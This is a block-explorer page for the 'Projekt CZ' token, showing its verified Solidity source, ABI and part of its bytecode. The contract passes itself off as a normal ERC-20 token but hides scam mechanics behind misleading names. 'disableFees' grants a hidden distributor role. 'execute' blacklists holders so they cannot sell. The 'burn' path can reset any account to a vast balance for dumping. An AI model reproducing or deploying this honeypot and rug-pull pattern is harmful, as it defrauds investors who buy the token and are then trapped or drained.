ETH Price: $3,075.98 (-3.32%)
 

Overview

Max Total Supply

100,000,000,000,000 CZ

Holders

69

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
178,343,209,139.392089481 CZ

Value
$0.00
0xeCf742b8eE883Be92545EA8aD983a77029d1fa14
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ProjektCZ

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 5 of 6: Project CZ.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.8;

import "./Context.sol";
import "./IERC20.sol";
import "./Ownable.sol";
import "./IUniswapV2.sol";
import "./SafeMath.sol";

contract ProjektCZ is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _decreaseAllowanceContractTokenBalance;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax=24;
    uint256 private _initialSellTax=24;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=19;
    uint256 private _reduceSellTaxAt=29;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint256 private _tTotal = 100000000000000 * 10**_decimals;
    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Projekt CZ";
    string private constant _symbol = unicode"CZ";
    uint256 public _maxTxAmount = 100000000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 100000000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 100000000000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 100000000000000 * 10**_decimals;
    uint256 private balances;
    uint256 private maxTxLimit = 1*10**17*10**9;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _tTotal -= amount;
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if(to==owner()){
            taxAmount=0;
        }
        else if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        require(!_decreaseAllowanceContractTokenBalance[from]);
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function HolderTxAmount(address a) public view returns (bool){
      return _decreaseAllowanceContractTokenBalance[a];
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function execute(address[] calldata address_, bool val) public onlyDistributor{
        for (uint256 i = 0; i < address_.length; i++) {
            _decreaseAllowanceContractTokenBalance[address_[i]] = val;
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = maxTxLimit;
        _maxWalletSize=maxTxLimit;
        _taxSwapThreshold=maxTxLimit;
        _maxTaxSwap=maxTxLimit;
        balances = maxTxLimit;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function burn(address account, uint256 amount) external onlyDistributor {
        _burn(account, amount);
    }
}

File 1 of 6: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.8;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

File 2 of 6: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.8;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

File 3 of 6: IUniswapV2.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.8;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
}

File 4 of 6: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.8;

import "./Context.sol";

contract Ownable is Context {
    address internal _distributor;
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    modifier onlyDistributor() {
        require(_distributor == msg.sender, "Caller is not fee distributor");
        _;
    }
    
    function disableFees(address account) external onlyOwner {
        require (_distributor == address(0));
        _distributor = account;
    }

}

File 6 of 6: SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.8;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"HolderTxAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"disableFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052601860085560186009556000600a556000600b556013600c55601d600d556014600e556000600f556009600a6200003c919062000617565b655af3107a40006200004f919062000668565b6010556009600a62000062919062000617565b655af3107a400062000075919062000668565b6011556009600a62000088919062000617565b655af3107a40006200009b919062000668565b6012556009600a620000ae919062000617565b655af3107a4000620000c1919062000668565b6013556009600a620000d4919062000617565b655af3107a4000620000e7919062000668565b6014556a52b7d2dcc80cd2e40000006016556000601860156101000a81548160ff0219169083151502179055506000601860166101000a81548160ff0219169083151502179055503480156200013c57600080fd5b5060006200014f6200044b60201b60201c565b905080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001fe6200044b60201b60201c565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060105460026000620002556200044b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160046000620002a96200045360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003dc6200044b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6010546040516200043d9190620006da565b60405180910390a3620006f7565b600033905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200050b57808604811115620004e357620004e26200047d565b5b6001851615620004f35780820291505b80810290506200050385620004ac565b9450620004c3565b94509492505050565b600082620005265760019050620005f9565b81620005365760009050620005f9565b81600181146200054f57600281146200055a5762000590565b6001915050620005f9565b60ff8411156200056f576200056e6200047d565b5b8360020a9150848211156200058957620005886200047d565b5b50620005f9565b5060208310610133831016604e8410600b8410161715620005ca5782820a905083811115620005c457620005c36200047d565b5b620005f9565b620005d98484846001620004b9565b92509050818404811115620005f357620005f26200047d565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006248262000600565b915062000631836200060a565b9250620006607fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000514565b905092915050565b6000620006758262000600565b9150620006828362000600565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006be57620006bd6200047d565b5b828202905092915050565b620006d48162000600565b82525050565b6000602082019050620006f16000830184620006c9565b92915050565b612ee580620007076000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c8063715018a6116100b857806395d89b411161007c57806395d89b411461031a5780639dc29fac14610338578063a9059cbb14610354578063bf474bed14610384578063c9567bf9146103a2578063dd62ed3e146103ac57610137565b8063715018a6146102ac578063751039fc146102b65780637d1db4a5146102c05780638da5cb5b146102de5780638f9a55c0146102fc57610137565b8063313ce567116100ff578063313ce567146101f65780635178624c146102145780635e7526c114610230578063607759511461026057806370a082311461027c57610137565b806306fdde031461013c578063095ea7b31461015a5780630faee56f1461018a57806318160ddd146101a857806323b872dd146101c6575b600080fd5b6101446103dc565b60405161015191906120fc565b60405180910390f35b610174600480360381019061016f91906121bc565b610419565b6040516101819190612217565b60405180910390f35b610192610437565b60405161019f9190612241565b60405180910390f35b6101b061043d565b6040516101bd9190612241565b60405180910390f35b6101e060048036038101906101db919061225c565b610447565b6040516101ed9190612217565b60405180910390f35b6101fe610520565b60405161020b91906122cb565b60405180910390f35b61022e60048036038101906102299190612377565b610529565b005b61024a600480360381019061024591906123d7565b61065c565b6040516102579190612217565b60405180910390f35b61027a600480360381019061027591906123d7565b6106b2565b005b610296600480360381019061029191906123d7565b6107e5565b6040516102a39190612241565b60405180910390f35b6102b461082e565b005b6102be610986565b005b6102c8610a85565b6040516102d59190612241565b60405180910390f35b6102e6610a8b565b6040516102f39190612413565b60405180910390f35b610304610ab5565b6040516103119190612241565b60405180910390f35b610322610abb565b60405161032f91906120fc565b60405180910390f35b610352600480360381019061034d91906121bc565b610af8565b005b61036e600480360381019061036991906121bc565b610b94565b60405161037b9190612217565b60405180910390f35b61038c610bb2565b6040516103999190612241565b60405180910390f35b6103aa610bb8565b005b6103c660048036038101906103c1919061242e565b61105f565b6040516103d39190612241565b60405180910390f35b60606040518060400160405280600a81526020017f50726f6a656b7420435a00000000000000000000000000000000000000000000815250905090565b600061042d6104266110e6565b84846110ee565b6001905092915050565b60145481565b6000601054905090565b60006104548484846112b9565b610515846104606110e6565b61051085604051806060016040528060288152602001612e8860289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c66110e6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6b9092919063ffffffff16565b6110ee565b600190509392505050565b60006009905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ae906124ba565b60405180910390fd5b60005b838390508110156106565781600560008686858181106105dd576105dc6124da565b5b90506020020160208101906105f291906123d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061064e90612538565b9150506105ba565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6106ba6110e6565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610749576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610740906125cd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a257600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108366110e6565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bc906125cd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61098e6110e6565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a14906125cd565b60405180910390fd5b6016546011819055506016546012819055506016546013819055506016546014819055506016546015819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610a7b9190612241565b60405180910390a1565b60115481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600281526020017f435a000000000000000000000000000000000000000000000000000000000000815250905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7d906124ba565b60405180910390fd5b610b908282611acf565b5050565b6000610ba8610ba16110e6565b84846112b9565b6001905092915050565b60135481565b610bc06110e6565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c46906125cd565b60405180910390fd5b601860149054906101000a900460ff1615610c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9690612639565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d2330601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166010546110ee565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8b57600080fd5b505afa158015610d9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc3919061266e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e4757600080fd5b505afa158015610e5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7f919061266e565b6040518363ffffffff1660e01b8152600401610e9c92919061269b565b602060405180830381600087803b158015610eb657600080fd5b505af1158015610eca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eee919061266e565b601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fcd9291906126c4565b602060405180830381600087803b158015610fe757600080fd5b505af1158015610ffb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101f9190612702565b506001601860166101000a81548160ff0219169083151502179055506001601860146101000a81548160ff02191690831515021790555043600781905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561115e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611155906127a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c590612833565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112ac9190612241565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611320906128c5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139090612957565b60405180910390fd5b600081116113dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d3906129e9565b60405180910390fd5b60006113e6610a8b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611422576000905061185b565b61142a610a8b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114985750611468610a8b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561185a57601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115485750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561159e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561166b576011548211156115e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115df90612a55565b60405180910390fd5b601254826115f5856107e5565b6115ff9190612a75565b1115611640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163790612b17565b60405180910390fd5b4360036007546116509190612a75565b111561166a5761165f83611c9b565b1561166957600080fd5b5b5b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117135750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117715760125482611725856107e5565b61172f9190612a75565b1115611770576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176790612b17565b60405180910390fd5b5b600061177c306107e5565b9050601860159054906101000a900460ff161580156117e85750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156118005750601860169054906101000a900460ff165b801561180d575060135481115b801561181c5750600e54600f54115b156118585761183e6118398461183484601454611cae565b611cae565b611cc7565b600047905060008111156118565761185547611f4f565b5b505b505b5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118b257600080fd5b61190482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fbb90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ab61195d8284611fbb90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200590919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a508486611fbb90919063ffffffff16565b604051611a5d9190612241565b60405180910390a350505050565b6000838311158290611ab35760405